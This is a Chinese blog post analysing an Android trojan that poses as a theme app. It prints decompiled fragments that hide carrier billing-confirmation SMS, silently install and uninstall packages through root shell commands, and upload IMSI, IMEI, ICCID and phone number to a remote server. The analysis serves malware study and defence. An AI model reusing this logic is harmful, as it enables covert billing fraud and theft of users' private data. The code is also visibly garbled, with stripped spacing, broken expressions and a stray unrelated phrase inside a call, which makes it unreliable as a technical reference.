探索黑客技术攻防,实战研究与安全创新

导航菜单

Android木马分析

一、Android木马介绍

Android系统比iPhone系统更开放,允许安装第三方应用程序,甚至是那些没有获得谷歌应用商店AndroidMarket批准的应用程序,但这种开放性似乎也增加了安全风险。AndroidMarke本身也发现了恶意软件感染的应用程序,不过用户可以像在个人电脑上所做的那样,通过安装杀毒软件来加以防范。

二.概述

001.png

该程序安装完是一款桌面主题,并可设置壁纸等。运行后获取ROOT权限,私自下载安装程序;并发送扣费短信,订制SP服务,拦截掉回执的扣费确认短信,恶意消耗用户资费;窃取用户通讯录信息等隐私资料,并上传到服务器。

三、样本特征

1.敏感权限


uses-permission
android:name=android.permission.DELETE_PACKAGES
/uses-permission
uses-permission
android:name=android.permission.INSTALL_PACKAGES
/uses-permission
uses-permission
android:name=android.permission.READ_CONTACTS
/uses-permission
android.setting.START_SEND_SMS
android.setting.SMS_SENT
android.provider.Telephony.SMS_RECEIVED


2.入口点和恶意模块


publicclassMyReceiverextendsBroadcastReceiver{}


(1).发送拦截短信:


Stringstr39=android.setting.SMS_SENT;
try
{
Stringstr41=arrayOfSmsMessage[i13].getOriginatingAddress();
localSmsManager4.sendMultipartTextMessage(str41,
null,
localArrayList5,localArrayList7,null);
}
if(!paramIntent.getAction().equals(android.provider.Telephony.SMS_RECEIVED))
if((arrayOfSmsMessage[i13].getOriginatingAddress().contains(10658166))||
(arrayOfSmsMessage[i13].getMessageBody().contains(83589523))
||
||
||
||
||
||
(arrayOfSmsMessage[i13].getMessageBody().contains(
(arrayOfSmsMessage[i13].getMessageBody().contains(
(arrayOfSmsMessage[i13].getMessageBody().contains(1.00
(arrayOfSmsMessage[i13].getMessageBody().contains(2.00
客资服费))))元))元))
(arrayOfSmsMessage[i13].getMessageBody().contains(元/条))
(arrayOfSmsMessage[i13].getMessageBody().contains(元/次)))
abortBroadcast();


(2).获取ROOT权限,安装卸载程序:


privatevoidinstallApk(StringparamString1,StringparamString2)
try
{
RuntimelocalRuntime=Runtime.getRuntime();
StringBuilderlocalStringBuilder=newStringBuilder(sudopm
install-r);
FilelocalFile2=this.mContext.getFilesDir();
Stringstr=localFile2+/+paramString2;
ProcesslocalProcess=localRuntime.exec(str);
}
privatevoidinstallAPK()
privatevoiduninstallPlugin()
{
try
{
inti=Log.d(agui,uninstall);
ProcesslocalProcess=Runtime.getRuntime().exec(pmuninstall-r
android远程监控技术
com.newline.root);
IntentlocalIntent1=newIntent(android.intent.action.RUN);
ContextlocalContext=this.mContext;
IntentlocalIntent2=localIntent1.setClass(localContext,MyService.class);
ComponentName
localComponentName
=
this.mContext.startService(localIntent1);
return;
}


(3).窃取上传隐私资料:


Stringstr8=Long.toString(System.currentTimeMillis());
ObjectlocalObject1=localHashtable.put(id,str8);
ObjectlocalObject2=localHashtable.put(imsi,str4);
ObjectlocalObject3=localHashtable.put(imei,str5);
ObjectlocalObject4=localHashtable.put(iccid,str6);
ObjectlocalObject5=localHashtable.put(mobile,str7);
Stringstr9=TimeUtil.dateToString(newDate(),yyyyMMddHHmmss);
ObjectlocalObject6=localHashtable.put(ctime,str9);
ObjectlocalObject7=localHashtable.put(osver,1);
ObjectlocalObject8=localHashtable.put(cver,010101);
ObjectlocalObject9=localHashtable.put(uid,str1);
ObjectlocalObject10=localHashtable.put(bid,str2);
ObjectlocalObject11=localHashtable.put(pid,str3);
ObjectlocalObject12=localHashtable.put(softid,paramString2);
MessageService.4
local4
=
new
MessageService.4(this,
paramIResponseListener);
NetTasklocalNetTask=newNetTask(localHashtable,utf-8,0,local4);
String[]arrayOfString=newString[1];
arrayOfString[0]=paramString1;
AsyncTasklocalAsyncTask=localNetTask.execute(arrayOfString);
publicclassNetTaskextendsAsyncTaskString,Integer,String
protectedStringdoInBackground(String[]paramArrayOfString)
URLlocalURL1=newjava/net/URL;
Stringstr5=localStringBuffer1.toString();
URLlocalURL2=localURL1;
Stringstr6=str5;
localURL2.init(str6);
localHttpURLConnection
=
(HttpURLConnection)localURL1.openConnection();
localHttpURLConnection.setRequestMethod(GET);
localHttpURLConnection.setConnectTimeout(5000);
localHttpURLConnection.setReadTimeout(5000);


3.敏感字符串


(sudopminstall-r);
installAPK();
contains(10658166)
contains(83589523)
contains(客服)contains(资费)


四、行为分析

运行后获取ROOT权限,私自下载安装程序;并发送扣费短信,订制SP服务,拦截掉回执的扣费确认短信,恶意消耗用户资费;窃取用户通讯录信息等隐私资料,并上传到服务器。

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。